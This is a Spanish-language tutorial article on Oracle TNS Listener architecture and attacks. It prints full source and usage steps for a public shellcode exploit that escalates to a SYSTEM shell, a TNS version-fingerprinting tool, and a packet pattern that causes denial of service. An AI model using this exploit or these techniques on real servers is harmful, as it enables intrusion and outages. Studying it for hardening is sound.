SlideShare una empresa de Scribd logo
1 de 46
Descargar para leer sin conexión
" M A N U E L G O N Z Á L E Z VA L I Ñ A S [ 0 X S T O R M ] "




    A N ATO MÍ A D E U N
      ATAQU E A TN S
         L I S TEN E R
LA ARQUITECTURA DE N IVEL DE RED DE
   ORACLE Y SU IMPORTAN CIA EN LA
             SEGURIDAD.




                      CAPÍTULO II
2
ANATOM Í A DE U N ATAQU E A
         TNS LISTENER
DESDE EL DESCONOCIMI ENTO AL CONOCIMIENTO. INTRODUCCIÓN
   SOBRE LA ARQUITECTUR A DE RED DE ORACLE, HOW TO DEL
   PROCESO DE AUTENTICACIÓN Y COM O BUSCAR Y EXPLOTAR
                   VULNERABILIDADES.


                                       I N T ROD U C C I ÓN


    Cuando hablamos de “un sistema de base de datos Oracle”, ¿de que estamos hablando
realmente? Un sistema de base de datos se refiere no solo al propio gestor, como comúnmente se
piensa a la hora de realizar un proceso de hardening, sino a todo lo relacionado con su
funcionamiento, normalmente una base de datos proporciona servicio a través de una instancia,
aunque en caso de un cluster puede haber más de una instancia corriendo sobre una misma base
de datos, no obstante entenderemos (al menos desde el punto de vista del hardening y/o ethical
hacking) que el sistema de base de datos se compone de la propia arquitectura de red, el gestor
propiamente dicho, el sistema operativo sobre el que corre, así como cuestiones relativas a
almacenamiento o backups; en este artículo se tratará todo lo relativo a la arquitectura de red y el
proceso de autenticación propio de Oracle.

     Cada base de datos se referencia mediante una instancia cuyo SID es el nombre de esa
instancia, será la forma de referirnos a la instancia por tanto, mientras que si hablamos de
hostname o host, nos estaremos refiriendo a la máquina sobre la que corre esa instancia. Desde el
punto de vista del software diferenciamos dos componentes principales, el TNS Listener y el
RDBMS (Relational Database Management System). El TNS Listener es el concentrador de todas
las comunicaciones de Oracle, cuando una instancia de base de datos se inicia es registrada por el
TNS Listener (TNSL en adelante), por lo que cuando un cliente intenta conectar a la base de
datos, es el TNSL quien acepta esa conexión y redirige a la base de datos. Cuando el RDBMS
quiere lanzar un procedimiento externo, este se conecta al TNSL quien lanza la llamana extproc.
Una excepción a lo anterior son los Jobs externos que son gestionados mediante el job scheduler,
por lo que en este caso el RDBMS se conecta directamente al external job.




                                           P RO C E S O S


    Los procesos de Oracle dependen en su totalidad del sistema operativo sobre el que corre
Oracle, ya sean sistemas Windows o plataformas *nix. Sabemos por tanto que una instancia de
base de datos describe todos los procesos y estructuras de memoria que proveen acceso a dicha
base de datos. Existen dos grandes bloques de procesos – background y shadow o server. Los
procesos shadow o server sirven peticiones de clientes, en otras palabras cuando un cliente se
conecta mediante el TNSL y requiere acceso a los servicios de la base de datos, el TNSL está en
manos de un proceso server. Este proceso server recoge las queries SQL y ejecuta en el lado del
servidor. Los procesos en background existen para soportar este funcionamiento. Existen
muchos procesos de background, cada uno con distintos roles, incluyendo escritores de base de
datos, escritores de logs, archivadores, monitorizadores de sistema, monitorizadores de procesos
y muchos otros.

    En plataformas *nix cada uno de estos procesos de background corren en procesos
separados, es decir, son procesos del sistema operativo distintos. En sistemas Windows todos
corren en un mismo proceso llamado Oracle.exe. Existe un área de memoria especial donde se

                                                 3
mapean todos los procesos en *.nix llamada Ssystem Global Area, comúnmente conocida como
SGA. La SGA está implementada como un fichero de mapeo de memoria y contiene toda la
información referente a la instancia de una base de datos. Igualmente existe otra área de memoria
conocida como shared pool, la cual contiene las estructuras compartidas por todos los usuarios,
como definiciones de tablas, etc. Un punto interesante de los procesos en Oracle sobre sistemas
Windows es que estos procesos pueden ser abiertos por cualquier grupo, lo cual es una clara
brecha de seguridad, para verlo, considere el siguiente proceso y código:

    1) Consiga el ID de Oracle.exe - ej. 1892
    2) Consiga el SID - ej. ORCL
    3) Ejecute dos shells – Shell A y B
    4) En la Shell A ejecute
    C:>sqlplus /nolog
    SQL*Plus: Release 10.1.0.2.0
    Copyright (c) 1982, 2010, Oracle. All rights reserved.
    SQL> connect scott/password_no_valida
    5) En la Shell B ejecute
    C:>own10g 1892 *oraspawn_buffer_orcl*
    6) En la Shell A intente reautenticar via sqlplus
    7) En la Shell B ejecute
    C:>telnet 127.0.0.1 6666
    Microsoft Windows XP [Version 5.1.2600]
    (C) Copyright 1985–2001 Microsoft Corp.
    C:WINDOWSsystem32>c:whoami
    c:whoami
    NT AUTHORITYSYSTEM

El código del exploit utilizado es ampliamente conocido:

    #include <stdio.h>

    #include <windows.h>

    #include <winbase.h>

    HANDLE hSection=NULL;

    unsigned char *p = NULL;

    int OpenTheSection(unsigned char *section, DWORD perm);

    SIZE_T GetSizeOfSection();

    int MapTheSection(unsigned int rw);

    unsigned char shellcode[]=

    "x83xECx24x55x8BxECxEBx03x58xEBx05xE8xF8xFFxFFxFF"

    "x83xC0x7Ex83xC0x7Bx50x99x64x8Bx42x30x8Bx40x0Cx8B"

    "x70x1CxADx8Bx48x08x51x52x8Bx7DxFCx8Bx3Cx57x57x8B"

    "x41x3Cx8Bx7Cx01x78x03xF9x8Bx5Fx1Cx8Bx77x20x8Bx7F"

    "x24x03xF1x03xD9x03xF9xADx91x33xF6x33xD2x8Ax14x08"

    "x41xC1xCEx0Dx03xF2x84xD2x75xF3x83xC7x02x5Ax52x66"

                                               4
"x3BxF2x75xE5x5Ax5Ax42x0FxB7x4FxFEx03x04x8Bx89x44"

"x95x04x59x80xFAx02x7ExAEx80xFAx08x74x1Ex52x80xFA"

"x03x74x02xEBxA1x99x52x68x33x32x20x20x68x77x73x32"

"x5Fx54xFFxD0x83xC4x0Cx5Ax91xEBx8Bx99xB6x02x2BxE2"

"x54x83xC2x02x52xFFxD0x50x50x50x6Ax06x6Ax01x6Ax02"

"xFFx55x14x8Dx65xD4x50x99x52x52x52xBAx02xFFx1Ax0A"

"xFExC6x52x54x5Fx6Ax10x57x50xFFx55x18x6Ax01xFFx75"

"xD0xFFx55x1Cx50x50xFFx75xD0xFFx55x20x99x52x68x63"

"x6Dx64x20x54x5Fx50x50x50x52x52xB6x01x52x6Ax0Ax99"

"x59x52xE2xFDx6Ax44x54x5Ex42x54x56x51x51x51x52x51"

"x51x57x51xFFx55x0CxFFx55x08x16x9Fx9FxB5x72x60xA8"

"x6Fx80x3Bx75x49x32x4CxE7xDF";

int WriteShellCode(char *section);

int main(int argc, char *argv[])

{

HANDLE hThread = NULL;

DWORD id = 0;

HMODULE k=NULL;

FARPROC mOpenThread = 0;

FARPROC ntq = 0;

FARPROC nts = 0;

unsigned char buff[1024]="";

unsigned int len = 0;

unsigned int res = 0;

unsigned int pid = 0;

unsigned char *p = 0;

unsigned int tid = 0;

CONTEXT ctx;

unsigned char *ptr=NULL;

                                     5
if(argc != 3)

{

     printf("nnt*** own10g ***nn");

     printf("tC:>%s pid section_namenn",argv[0]);

     printf("twhere pid is the process ID of Oraclen");

     printf("tand section_name is *oraspawn_buffer_SID*n");

     printf("tSID is the database SID - e.g. orclnn");

     printf("tSee notes in source code for full detailsnn");

     printf("tDavid Litchfieldnt(davidl@ngssoftware.com)");

return 0;

}

if(WriteShellCode(argv[2])==0)

     return printf("Failed to write to section %sn",argv[2]);

     k = LoadLibrary("kernel32.dll");

if(!k)

     return printf("Failed to load kernel32.dll");

     mOpenThread = GetProcAddress(k," OpenThread");

if(!mOpenThread)

     return printf("Failed to get address of OpenThread!");

     k = LoadLibrary("ntdll.dll");

if(!k)

     return printf("Failed to load ntdll.dll");

     ntq = GetProcAddress(k," NtQueryInformationThread");

if(!ntq)

     return printf("Failed");

     nts = GetProcAddress(k," NtSetInformationThread");

if(!nts)

     return printf("Failed");

     tid = atoi(argv[1]);

                                                  6
while(id< 0xFFFF)

{

    hThread = mOpenThread(THREAD_ALL_ACCESS,TRUE,id);

    if(hThread)

    {

        res = ntq(hThread,0,buff,0x1C,&len);

        if(res !=0xC0000003)

        {

            p = &buff[9];

            pid = (int) *p;

            pid = pid << 8;

            p--;

            pid = pid + (int) *p;

            if(pid == tid)

            {

                   printf("%dn",id);

                   ctx.ContextFlags =

                   CONTEXT_INTEGER|CONTEXT_CONTROL;

                   if(GetThreadContext(hThread,&ctx)==0)

                       return printf("Failed to get context");

                   ptr = (unsigned char *)&ctx;

                   ptr = ptr + 184;

            // This exploit assumes the base address of the

            // section is at 0x044D0000. If it is not at this

            // address on your system - change it.

            memmove(ptr,"x40x01x4Dx04",4);

            if(SetThreadContext(hThread,&ctx)==0)

                   return

            printf("%dn",GetLastError());

                                          7
}

        }

    }

    hThread = NULL;

    id ++;

}

return 0;

}



int WriteShellCode(char *section)

{

    SIZE_T size = 0;

    if(OpenTheSection(section,FILE_MAP_WRITE)==0)

    {

        printf("OpenTheSection: Section %stError:%dn",section,GetLastError());

        return 0;

    }

    if(MapTheSection(FILE_MAP_WRITE)==0)

    {

        printf("MapTheSection: Section %stError:%dn",section,GetLastError());

        return 0;

    }

    size = GetSizeOfSection();

    if(size == 0)

    {

        printf("GetSizeOfSection: Section %stError:%dn",section,GetLastError());

        return 0;

    }

    printf("Size of section %dn",size);

                                           8
if(size < 0x141)

           return 0;

           size = size - 0x140;

           if(size < strlen(shellcode))

               return 0;

           p = p + 0x140;

           memmove(p,shellcode,strlen(shellcode));

           return 1;

}



int OpenTheSection(unsigned char *section, DWORD perm)

{

    SIZE_T size=0;

    hSection = OpenFileMapping(perm, FALSE, section);

    if(!hSection)

           return 0;

    else

           return 1;

}



int MapTheSection(unsigned int rw)

{

    p = (char *)MapViewOfFile(hSection, rw, 0, 0, 0);

    if(!p)

           return 0;

           return 1;

}



SIZE_T GetSizeOfSection()

                                            9
{

        MEMORY_BASIC_INFORMATION mbi;

        SIZE_T size=0;

        if(!p)

        {

             printf("Address not valid.n");

             return 0;

        }

        ZeroMemory(&mbi,sizeof(mbi));

        size = VirtualQuery(p,&mbi,sizeof(mbi));

        if(size !=28)

             return 0;

        size = mbi.RegionSize;

        printf("Size: %dn",size);

        return size;

}



     Entonces, ¿que pasó aquí? Cuando un usuario local intenta conectar con Oracle (bajo
Windows), lo hace a través de pipes. Se crean cuatro hilos en el proceso servidor que comunica el
cliente con el servidor. Esos cuatro hilos tienen implementado un ACL discreto, llamado DACL
para que únicamente los usuarios con permisos puede abrir el/los hilos, en el paso 4 del proceso
anterior, mediante el intento de autenticación creamos hilos similares en el proceso server, a
continuación en el paso 5 lanzamos el exploit , el cual abre una sección de memoria en el proceso
server y escribe nuestra shellcode, esta sección tiene una dirección 0x044D0000 (puede variar).
Debido a que el DACL permite escribir en esta sección a cualquiera, podemos hacerlo. El
nombre usado *oraspawn_buffer_orcl*, hace referencia al orcl que es el SID obtenido el el paso
2. Un apunte importante es que si escribimos nuestra shellcode específica para 0x044D0140,
tendremos que prevenir que la shellcode se salte en el segundo intento de autenticación, lo mejor
es escribir la sección para el contexto de ejecución, en otras palabras debemos setear el EIP al
punto inicial de la shellcode. En el paso 6 se duerme el hilo previamente abierto y se lanza la
shellcode y mediante esta conseguirmos hacer telnet al puerto 6666 para comprobar que
realmente tenemos privilegios de system.




                                               10
FILE SYSTEM


    Aunque no lo parezca, debemos ver o repasar algunos conceptos que afectan al sistema de
ficheros para que la información aquí detallada sea coherente y concisa (se necesita tener claros
estos conceptos para entender y poder hacer un bypassing de las acls de oracle).

     El directorio base donde se instala Oracle está referenciado mediante la variable de entorno
$ORACLE_HOME, los ejecutables principales de Oracle están localizados en
$ORACLE_HOME/bin/oracle en sistemas *nix y %ORACLE_HOMEbinoracle.exe en
sistemas Windows. Los datos son almacenados en estructuras lógicas llamadas tablespaces y
físicamente en datafiles, que comúnmente tienen la extensión .dbf. Normalmente los datafiles se
encuentran en el directorio $ORACLE_HOME/oradata/SID. Estos datafiles tienen una
estructura simple binaria. La cabecera del fichero cambia según versión, para una 10g el formato
sería el siguiente: el segundo byte indica el tipo de fichero – 0xA2 indica un datafile normal, 0xC2
es un control file y 0x22 es un fichero de redo log. El DWORD (4 bytes) desde 0x14 a 0x17
indica el tamaño de cada bloque de datos en el fichero y el DWORD desde 0x128 a 0x1B indica
el número de data blocks en el fichero. Los bytes 0x1C a 0x1F son la “magic key” siempre
seteada a 0x7D7C7B7A. La cabecera del fichero es del mismo tamaño que los otros bloques,
indicado en 0x14 a 0x17, entonces el primer data block se encuentra en 0x00002000.

    Cada data block contiene el número de bloques en bytes (black_base+4), la versión del
servidor se encuentra desde [block_base+0x18 a block_base+0x1B]. El primer data block es
especial, porque contiene información sobre el servidor. Por ejemplo, el SID de la base de datos
se puede encontrar en block_base+0x20, el tablespace name se puede encontrar en
block_base+0x52, etc.

     Los otros dos tipos de ficheros mencionados anteriormente –control files y redo logs. Los
control files contienen información crítica sobre la estructura física del servidor de base de datos.
Los redo logs guardan pistas o trazas de cambios en los data files y actúan como bridge entre el
servidor y los datafiles. Por ejemplo si un usuario cambia su password mediante alter user name
indentified by password, en versiones antiguas de Oracle (9i) se guardaba la contraseña en texto
plano!

   El fichero de configuración inicial de la base de datos, init<SID>.ora o spfile<SID>.ora, se
puede localizar en $ORACLE_HOME/dbs en plataformas *nix.




                                           N E T WO R K


    Oracle puede ser configurado para que escuche sockets TCP, con o sin SSL, IPC, SPX y
PIPES. En Oracle sobre plataformas Windows, los pipes son accesible en los puertos 139 y 445
TCP, lo que significa que cuando el TNS Listener no está configurado con sockets TCP, es
accesible a través de la red vía pipes. Cuando se habilita el listen de sockets TCP, se usan los
puertos 1521 o 1525, aunque depende de los productos instalados y la configuración específica,
obviamente pueden ser descubiertos mediante un escaneo con nmap.

     La arquitectura de red de Oracle, consta de varios componentes, por lo que podemos hacer
una comparación con el modelo OSI (figura 2-1). Esta arquitectura habilita a los clientes Oracle y
servidores de aplicación para comunicarse de forma transparente sobre protocolos TCP/IP. El
protocolo de sesión hace de interface entre las aplicaciones (OCI o Oracle Call Inteface en el
cliente, OPI o Oracle Program Interface en el servidor) y la capa de red conocida como Net9.

                                                 11
Entre OCI/OPI y la capa NET9 está la capa de presentación llamada TTC (Two-Task Common)
la cual es responsable de la conversión de datos y estructuras entre el cliente y el servidor. La capa
Net9 tiene tres componentes fundamentales, de los cuales únicamente nos concierne en este
documento el TNS cuya tarea principal es seleccionar el protocolo de adaptación de Oracle y
hacer el wrapping de la comunicación en uno de los protocolos soportados.




                                               Figura 2-1




                                                 12
E L P R OTOC OL O T N S


    APLICANDO REVERSING SOBRE EL TNS:

    Para poder hace reversing sobre el protocolo TNS y entender este protocolo a bajo nivel, es
necesario considerar todo lo que aquí se expone.

    TNS HEADER:

    Cada paquete TNS tiene una cabecera de 8 bytes. La primera palabra (2 bytes) es usada para
indicar la longitud del paquete incluida esta cabecera. La siguiente palabra el el checksum del
paquete, por defecto 0x0000 (es decir, no implementado). El siguiente byte indica el tipo de
paquete, los tipos mas usuales son los siguientes:

    TIPO 1: CONNECT PACKET

    TIPO 2: ACCEPT PACKET

    TIPO 3: ACK PACKET

    TIPO 4: REFUSE PACKET

    TIPO 5: REDIRECT PACKET

    TIPO 6: DATA PACKET

    TIPO 7: NULL PACKET

    TIPO 9: ABORT PACKET

    TIPO 11:RESEND PACKET

    TIPO 12: MARKER PACKET

    TIPO 13: ATTENTION PACKET

    TIPO 14: CONTROL PACKET

     Cuando nos conectamos a Oracle, a nivel de TNS el cliente envía al servidor un Connect
packet (tipo 1), indicando el nombre de servicio al que quiere acceder. A continuación pueden
suceder dos cosas, por un lado, el Listener envía un paquete de aceptación (tipo 2) o hace una
redirección a otro puerto (tipo 5). Ocurriendo esto, el cliente intenta autenticar. Este proceso se
cubre en el capítulo de AUTENTICACIÓN. Por tanto una vez el cliente envía el paquete de
conexión, puede ser redirigido para solicitar el servicio. Todos los paquetes de autenticación son
de tipo 6.

    Si el Listener no conoce el servicio que el cliente está solicitando, enviará un paquete de tipo
4 o Refuse packet. Podremos ver paquetes tipo 12 o Marker packet, por ejemplo, si el servidor
quiere parar la comunicación con el cliente enviará paquetes 0x0C.

    Continuando con la definición de la cabecera TNS, el siguiente byte es un conjunto de flags.
Generalmente no se usan, aunque el cliente 10g establece el valor 0x04. Los dos bytes finales
forman un Word para el checksum de la cabecera, por defecto no se usan.

WORD 00 00 Packet Size
WORD 00 00 Packet Checksum


                                                13
BYTE 00 Packet Type
BYTE 00 Flags
WORD 00 00 Header Checksum

    Volviendo a la perspectiva del ataque, los paquetes refused (tipo 4), indican algún tipo de
error, por ejemplo, logon denegado o “invalid username/password” –ORA-01017. En estos
errores, el byte 54 indica el problema. 3 significa invalid password, 2 indica usuario
desconocido…como puede verse, es posible hacer un leak de información únicamente usando
refused packets.



DENTRO DEL PAQUETE:

   Realizando una captura, la mayoría de paquetes que se ven son Data Packets (tipo 6). En los
Data Packets, después de la cabecera están los Data Flags. Si el paquete es de desconexión, este
Word contendrá el valor 0x0040 –Generalmente será 0x0000.

    NOTA: Existe un bug en todas las versiones de Oracle, cuando el servidor procesa un Data Packet
(tipo 6) cuando el segundo bit del Data Flag está seteado pero el primero (más significativo) no está
seteado (ej. 2,6,10,14, etc). Cuando el servidor recibe un paquete con estas características entra en un
bucle infinito donde se consume toda la CPU disponible y a no ser que el sistema operativo recupere el
control el servidor se verá afectado por un DOS, obviamente sea cual sea el resultado, esto se traduce en
un impacto negativo.

    El siguiente byte después del Data Flags (byte 11) determina que hay en el Data Packet, a
continuación se puede ver el tipo de contenido:

    0x01 indica negociación de protocolo. Aquí el cliente envía al servidor los protocolos
aceptados -6, 5, 4, 3, 2, 1 y 0. El servidor responde con la versión, por ejemplo 6 o 5, igualmente
envía información extra como el charset usado la versión de string o los flags de servidor.

    0x02 indica intercambio de representación de tipos de datos

    0x03 indica la llamada a TTI (Two-Task Interface). Las funciones pueden ser:

         0x02 Open

         0x03 Query

         0x04 Execute

         0x05 Fetch

         0x08 Close

         0x09 Disconnect/logoff

         0x0C AutoCommit ON

         0x0D AutoCommit OFF

         0x0E Commit


                                                    14
0x0F Rollback

    0x14 Cancel

    0x2B Describe

    0x30 Startup

    0x31 Shutdown

    0x3B Version

    0x43 K2 Transactions

    0x47 Query

    0x4A OSQL7

    0x5C OKOD

    0x5E Query

    0x60 LOB Operations

    0x62 ODNY

    0x67 Transaction - end

    0x68 Transaction - begin

    0x69 OCCA

    0x6D Startup

    0x51 Logon (presenta la password)

    0x52 Logon (presenta el username)

    0x73 Logon (presenta password - send AUTH_PASSWORD)

    0x76 Logon (present username - request AUTH_SESSKEY)

    0x77 Describe

    0x7F OOTCM

    0x8B OKPFC



0x08 indica OK, enviado por el servidor en respuesta a cliente.



                                           15
0x11 indica funciones extendidas de TTI.

    0x20 se usa cuando se hace una llamada a un procedimiento externo.

    0x44 también se usa en el caso anterior.




                        O B T E N I E N D O L A V E R S I Ó N D E OR A C L E


     En las últimas versiones, Oracle ha mejorado cuantitativamente la seguridad del Listener, por
lo que vamos desde el listener de versiones 8i y 9i donde la seguridad del mismo era
prácticamente inexistente, pasando por la versión 10g que incluye numerosas mejoras y por
último las versiones 11g donde ya podemos hablar de seguridad, debido a los principios de
rediseño que se establecen en los factores clave, igualmente con el último security service pack
que Oracle publicó el 17 Enero de 2012, se subsanan vulnerabilidades “míticas” en el sistema de
Listener.

    Existen muchas forma de obtener la versión del Listener así como otro tipo de información
“sensible” dependiendo de la versión de Oracle, igualmente es posible establecer ciertas medidas
que aporten una seguridad extra, como pueden ser: implementar el TCP node valid checking o
establecer reglas de firewall que discriminen cierto tipo de tráfico.

    A continuación veremos algunos métodos para obtener la versión del Listener:

     La herramienta de control del Listener se llama “lsnrctl” y soporta tanto el comando version
como status, esta herramienta proporciona un leakage de información, como la versión, detalles
del sistema operativo en el que corre el listener, en versiones antiguas funcionaba al 100% por lo
que hacer un gathering de información interesante era trivial, en la versión 10g se inhabilita el
comando status (delegando mediante remotely) pero el comando version sigue funcionando, en
versiones 11g se puede comprobar que esto ya está debidamente corregido.

    A continuación se muestra un ejemplo de information leakage obtenido en la fase de
information gathering sobre una versión de Oracle en un entorno crítico.

    C:>lsnrctl

    LSNRCTL for 32-bit Windows: Version 8.1.7.4.0 - Production on 19-JUN-2006

    17:54:42

    (c) Copyright 1998 Oracle Corporation. All rights reserved.

    Welcome to LSNRCTL, type "help" for information.

    LSNRCTL> set current_listener 192.168.0.120

    Current Listener is 192.168.0.120

    LSNRCTL> version

    Connecting to


                                                16
(DESCRIPTION=(CONNECT_DATA=(SID=*)(SERVICE_NAME=192.168.0.120))(AD
DRESS=

    (PROTOCOL=TCP)(HOST=192.168.0.120)(PORT=1521)))

    TNSLSNR for 32-bit Windows: Version 10.2.0.1.0 - Production

    TNS for 32-bit Windows: Version 10.2.0.1.0 - Production

    Windows NT Named Pipes NT Protocol Adapter for 32-bit Windows:

    Version 10.2.0.1.0 - Production

    Windows NT TCP/IP NT Protocol Adapter for 32-bit Windows:

    Version 10.2.0.1.0 - Production,,

    The command completed successfully

    LSNRCTL>



    Como se puede observar en la salida anterior, se trata de un Oracle 10g Release 2 corriendo
sobre un sistema Windows.




                       U S A N D O L A V E R S I O N D E L P ROT OC OL O T N S


     En el paquete TNS de conexión, una palabra (2 bytes) especifica la versión del protocolo
TNS, la siguiente palabra en los bytes 11 y 12 especifica con que versiones anteriores del
protocolo se puede entender, es decir, la compatibilidad hacia atrás, por ejemplo, si un cliente de
Oracle está usando una versión 8.1.7.4 del Listener, cuando el cliente envía 0x0136 como versión
del protocolo TNS, este puede usar 0x012C para compatibilizar. Esto permite que dos versiones
distintas de Oracle puedan comunicarse simplemente estableciendo compatibilidades sobre el
protocolo TNS. Es decir, podemos utilizar estas dos palabras para determinar la versión del
servidor. Para ello debemos tener identificados los valores de las palabras con sus
correspondientes versiones y seguir un orden jerárquico. Comenzamos con el número de versión
más alto y trabajaremos hacia abajo, por lo tanto enviamos 0x013C si el servidor no entiende esta
versión (lo sabremos bien por el retorno de un error o por el tiempo de expiración), enviamos o
reducimos el valor a 0x13B, luego 0x13A, 0x139 y así sucesivamente hasta 0x00CC. Tan pronto
como el servidor responda sabremos de que versión se trata.

Oracle 11r1 supports 0x13A

Oracle 10r2 supports 0x139

Oracle 9r2 supports 0x138

Oracle 9i supports 0x137

Oracle 8 supports 0x136



                                                17
A continuación se muestra el código de tnsver.c, el cual implementa un proceso
automatizado para realizar este proceso:

#include <stdio.h>
#include <windows.h>
#include <winsock.h>
struct hostent *he;
struct sockaddr_in s_sa;
int ListenerPort=1521;
char host[260]="";
int GetOracleVersion(unsigned char *pkt, unsigned int pkt_len,
unsigned
char *resp, unsigned int resp_len, int dr);
int StartWinsock(void);
int InitTNSPacket(unsigned char *data, unsigned short data_length);
int bswap_s(unsigned int v);
int bswap_i(unsigned int v);
int error();
int GetOracleVersionByError();
int GetOracleVersionByProtocolVersion();
int GetOracleVersionByVersionCommand();
typedef struct TNSHeader {
unsigned short Length;
unsigned short PacketChecksum;
unsigned char Type;
unsigned char Flags;
unsigned short HeaderChecksum;
}TNSHeader;
typedef struct TNSConnect {
unsigned short Version;
unsigned short MinVersion;
unsigned short GlobalServiceOptions;
unsigned short SessionDataUnit;
unsigned short TransportDataUnit;
unsigned short Characteristics;
unsigned short MaxPacketsBeforeAck;
unsigned short ByteOrder;
unsigned short Length;
unsigned short Offset;
unsigned int MaxRecv;
unsigned short AdditionalNetworkOptions;
unsigned char buf[24];
} TNSConnect;
#define TNS_CONNECT 1
#define MAX_VER 0x0139
#define MIN_VER 0x012C
#define SDU_MAX 0x0800
#define TDU_MAX 0x7FFF
#define DATA_LENGTH 12
unsigned char TNSPacket[2000]="";
int InitTNSPacket(unsigned char *data, unsigned short data_length)
{
TNSConnect tnsconnect;
TNSHeader tnsheader;
memset(&tnsheader,0,sizeof(TNSHeader));
memset(&tnsconnect,0,sizeof(TNSConnect));
tnsheader.Length = bswap_s(data_length + 0x3A);
tnsheader.PacketChecksum = 0;


                                              18
tnsheader.Type = TNS_CONNECT;
tnsheader.Flags = 0;
tnsheader.HeaderChecksum = 0;
tnsconnect.Version = bswap_s(MAX_VER);
tnsconnect.MinVersion = bswap_s(MIN_VER);
tnsconnect.GlobalServiceOptions = 0;
tnsconnect.SessionDataUnit = bswap_s(SDU_MAX);
tnsconnect.TransportDataUnit = bswap_s(TDU_MAX);
tnsconnect.Characteristics = bswap_s(0x860E);
tnsconnect.MaxPacketsBeforeAck = 0;
tnsconnect.ByteOrder = 0x1;
tnsconnect.Length = bswap_s(data_length);
tnsconnect.Offset = bswap_s(0x3A);
tnsconnect.MaxRecv = bswap_i(0x000007F8);
tnsconnect.AdditionalNetworkOptions = 0x0C0C;
memmove(TNSPacket,&tnsheader,sizeof(TNSHeader));
memmove(&TNSPacket[sizeof(TNSHeader)],&tnsconnect,50);
memmove(&TNSPacket[0x3A],data,data_length);
return 0;
}
int main(int argc, char *argv[])
{
unsigned int err=0;
unsigned short val = 0x13B;
if(argc == 1)
{
printf("nt*** OraVer ***");
printf("nntGets the Oracle version number.");
printf("nntC:>%s host [port]",argv[0]);
printf("nntDavid
Litchfieldntdavidl@ngssoftware.comnt22th April 2003n");
return 0;
}
strncpy(host,argv[1],256);
if(argc == 3)
ListenerPort = atoi(argv[2]);
err = StartWinsock();
if(err==0)
printf("Error starting Winsock.n");
else
{
GetOracleVersionByError();
GetOracleVersionByProtocolVersion();
GetOracleVersionByVersionCommand();
}
WSACleanup();
return 0;
}
int GetOracleVersionByProtocolVersion()
{
int res=0;
unsigned char buff[2000]="";
unsigned char *ptr = NULL;
unsigned short ver = 0x13B;
InitTNSPacket("AAAABBBBCCCC",DATA_LENGTH);
while(ver > 0xCC)
{
ver = (unsigned short)bswap_s(ver);
memmove(&TNSPacket[8],&ver,2);
memmove(&TNSPacket[10],&ver,2);
ver = (unsigned short)bswap_s(ver);


                                 19
res =
GetOracleVersion(TNSPacket,0x3A+DATA_LENGTH,buff,2000,0);
if(res == -1)
return printf("Failed to connect.n");
if(res > 0x20)
{
printf("TNS version 0x%.2X is supportedn",ver);
break;
}
else
printf("TNS version 0x%.2X is not supportedn",ver);
ver --;
}
return 0;
}
int GetOracleVersionByVersionCommand()
{
int res=0;
unsigned char buff[2000]="";
unsigned char *ptr = NULL;
unsigned char *vercmd = "(CONNECT_DATA=(COMMAND=version))";
InitTNSPacket(vercmd,(unsigned short)strlen(vercmd));
res = GetOracleVersion(TNSPacket,0x3A+strlen(vercmd),buff,2000,1);
if(res == -1)
return printf("Failed to connect.n");
if(res > 0x36)
{
ptr = &buff[10];
printf("nnVersion command:n%sn",ptr);
}
else
error();
return 0;
}
int GetOracleVersionByError()
{
int res=0;
unsigned char buff[2000]="";
unsigned char ver[8]="";
unsigned char *ptr = NULL;
unsigned char h=0,l=0,p=0,q=0;
InitTNSPacket("ABCDEFGHIJKL",DATA_LENGTH);
res = GetOracleVersion(TNSPacket,0x3A+DATA_LENGTH,buff,2000,0);
if(res == -1)
return printf("Failed to connect to listener.n");
if(res > 0x32)
{
ptr = &buff[36];
ptr[6]=0x00;
if(strcmp(ptr," VSNNUM")==0)
{
ptr = &ptr[7];
res = atoi(ptr);
res = res << 4;
memmove(ver,&res,4);
h = ver[3] >> 4;
l = ver[3] << 4;
l = l >> 4;
p = ver[1] >> 4;
q = ver[0] >> 4;
printf("nVersion of Oracle is


                                 20
%d.%d.%d.%d.%dnn",h,l,ver[2],p,q);
}
else
return error();
}
else
return error();
return 0;
}
int error()
{
return printf("There was an error getting the version
number.n");
}
int bswap_s(unsigned int v)
{
__asm {
xor eax, eax
mov eax,v
bswap eax
shr eax,16
mov v, eax
}
return v;
}
int bswap_i(unsigned int v)
{
__asm {
xor eax, eax
mov eax,v
bswap eax
mov v, eax
}
return v;
}
int StartWinsock()
{
int err=0;
unsigned int addr;
WORD wVersionRequested;
WSADATA wsaData;
wVersionRequested = MAKEWORD(2, 0);
err = WSAStartup(wVersionRequested, &wsaData);
if (err != 0)
return 0;
if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion)
!= 0)
return 0;
s_sa.sin_addr.s_addr=INADDR_ANY;
s_sa.sin_family=AF_INET;
if (isalpha(host[0]))
{
he = gethostbyname(host);
if(he == NULL)
{
printf("Failed to look up %sn",host);
return 0;
}
memcpy(&s_sa.sin_addr,he->h_addr,he->h_length);
}
else


                                 21
{
addr = inet_addr(host);
memcpy(&s_sa.sin_addr,&addr,4);
}
return 1;
}
int GetOracleVersion(unsigned char *pkt, unsigned int pkt_len,
unsigned
char *resp, unsigned int resp_len, int dr)
{
unsigned char ver[8]="";
unsigned char h=0,l=0,p=0,q=0;
int snd=0,rcv=0,count=0;
unsigned int to=1000;
SOCKET cli_sock;
char *ptr = NULL;
cli_sock=socket(AF_INET,SOCK_STREAM,0);
if (cli_sock==INVALID_SOCKET)
return printf("nFailed to create the socket.n");
setsockopt(cli_sock,SOL_SOCKET,SO_RCVTIMEO,(char
*)&to,sizeof(unsigned int));
s_sa.sin_port=htons((unsigned short)ListenerPort);
if
(connect(cli_sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR)
{
printf("nFailed to connect to the Listener.n");
return -1;
}
snd=send(cli_sock, pkt , pkt_len , 0);
rcv = recv(cli_sock,resp,resp_len,0);
if(dr)
rcv = recv(cli_sock,resp,resp_len,0);
closesocket(cli_sock);
if(rcv == SOCKET_ERROR)
return 0;
else
return rcv;

}




                          U S A N D O L A V E R S I O N D E X M L DA TA BA S E


    Si la base de datos XML está corriendo en el sistema, se puede lanzar un Telnet al puerto
2100 (u el obtenido mediante nmap) para obtener el banner y por tanto la versión. Véase un
ejemplo:

220 PILUM FTP Server (Oracle XML DB/Oracle9i Enterprise Edition Release

9.2.0.1.0 - Production) ready.

Also, the XDB Web server on TCP port 8080 gives up the version number:

GET / HTTP/1.1

                                                22
Host: PILUM

HTTP/1.1 401 Unauthorized

MS-Author-Via: DAV

DAV: 1,2,<http://www.oracle.com/xdb/webdav/props>

